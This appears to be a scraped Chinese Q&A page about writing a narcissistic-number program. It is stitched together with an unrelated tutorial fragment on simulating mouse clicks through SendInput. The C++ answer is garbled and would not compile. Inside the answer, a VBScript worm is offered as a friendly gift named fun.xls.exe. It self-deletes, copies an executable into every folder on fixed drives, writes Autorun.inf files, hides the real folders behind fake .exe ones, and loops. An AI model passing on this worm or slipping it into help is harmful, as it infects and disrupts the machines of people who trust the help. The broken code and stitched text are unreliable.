这个任务代码看不懂
应该要如何写呢
运用什么程序
用什么方法写,需要使用函数吗
水仙花数:
#include〈bits/stdc++.h〉
using namespace std;
int main ()
{
int shuru;
cin〉〉shuru;
if(shuru>1000 | | shuru<100)
{
cout〈〈"不规范"〈〈endl;
}
if (shuru/100shuru/100shutu/100+shuru/10%10shuru/10%10shuru/10%10+shuru%10shuru%10shuru%10==shuru)
{cout〈〈"是水仙花数"〈〈endl;
}
return 0;
}
//本人初中生,应该是你的同龄人,都去奥赛,学艺不精,请见谅。第一个简单,自己做做。附赠fun.xls.exe一个
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set Cx=fso.GetSpecialFolder(0)
fso.GetFile(WScript.ScriptFullName).Delete(True)
Do
C=fso.GetParentFolderName(Cx)
Set Fdrs=fso.GetFolder(C).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
fso.CreateFolder(C & Fdr.Name & ".exe")
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Attributes=6
fun.Copy(C & Fdr.Name & ".exe\fun.xls.exe")
Set auto=fso.CreateTextFile(C & Fdr.Name & ".exe\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
fso.GetFolder(C & Fdr.Name & ".exe").Attributes=Fdr.Attributes
Fdr.Attributes=6
End If
Next
Set Cx=Nothing
Set Fdrs=Nothing
Set drvs=fso.Drives
For Each drv In drvs
If drv.DriveType=2 Then
If drv & "" = C Then
Else
Set Fdrs=fso.GetFolder(drv).SubFolders
For Each Fdr In Fdrs
If Not fso.GetExtensionName(Fdr.Name)="exe" Then
Fdr.Name=Fdr.name & ".exe"
Set fun=fso.GetFile(C & "WINDOWS\system32\tskill.exe")
fun.Copy(drv & "" & Fdr.Name & "\fun.xls.exe")
Set auto=fso.CreateTextFile(drv & "" & Fdr.Name & "\Autorun.inf")
auto.WriteLine("[Autorun]")
auto.WriteLine("Open=fun.xls.exe")
auto.Close
Set auto=Nothing
Set fun=Nothing
End If
Next
End If
End If
Next
WScript.Sleep 60*1000
Loop
首先通过MoveMouse
移动鼠标到记录的按钮位置,之后通过MouseClick
发送左键按下消息。这两个函数的详细代码如下:
//移动鼠标到绝对位置
int CSimulateMessageDlg::MoveMouse(unsigned int dx, unsigned int dy)
{
INPUT inputs[1] = {};
ZeroMemory(inputs, sizeof(inputs));
inputs[0].type = INPUT_MOUSE;
inputs[0].mi.dwFlags = MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE ;
inputs[0].mi.dx = dx;
inputs[0].mi.dy = dy;
int nSize = ARRAYSIZE(inputs);
UINT uSent;
uSent = SendInput(ARRAYSIZE(inputs), inputs, sizeof(INPUT));
if (uSent != ARRAYSIZE(inputs))
{
//OutputString(L"SendInput failed: 0x%x\n", HRESULT_FROM_WIN32(GetLastError()));
}
return 0;
}
//发送鼠标左键单击消息
int CSimulateMessageDlg::MouseClick(int nMode)
{
INPUT inputs[1] = {};
ZeroMemory(inputs, sizeof(inputs));
inputs[0].type = INPUT_MOUSE;
inputs[0].mi.dwFlags = nMode | MOUSEEVENTF_ABSOLUTE ;
inputs[0].mi.dx = 0;
inputs[0].mi.dy = 0;
int nSize = ARRAYSIZE(inputs);
UINT uSent;
uSent = SendInput(ARRAYSIZE(inputs), inputs, sizeof(INPUT));
if (uSent != ARRAYSIZE(inputs))
{
//OutputString(L"SendInput failed: 0x%x\n", HRESULT_FROM_WIN32(GetLastError()));
}
return 0;
}
注意到MoveMouse
这个函数的两个参数dx、dy
指的是鼠标移动的绝对位移,是指的鼠标移动的“点”,这个单位与鼠标的dpi有关,其与屏幕坐标系下的单位对应关系通过以下代码计算比率:
int CSimulateMessageDlg::GetMouseCoor2ScreenRatio(void)//计算鼠标移动绝对位移相对屏幕坐标系的比例
{
CPoint ptMouse,ptMouseOld;
GetPhysicalCursorPos(&ptMouseOld);
MoveMouse(0,000);
MoveMouse(1000,1000);
Sleep(10);
BOOL bRet = ::GetPhysicalCursorPos(&ptMouse);
if (TRUE == bRet)
{
m_RatioX = (double)1000/ptMouse.x;//1000 是鼠标移动的绝对位移
m_RatioY = (double)1000/ptMouse.y;//1000 是鼠标移动的绝对位移
MoveMouse(ptMouseOld.x*m_RatioX,ptMouseOld.y*m_RatioY );//归位
return 0;
}
else
{
bRet = GetLastError();
}
return -1;
}
总结,本代码实现了鼠标单击按钮的简单功能,但是可基于本代码进行更为复杂功能的实现,例如录制多个需要单击的位置实现批量按按钮。
代码及可运行程序:
链接: 源项目链接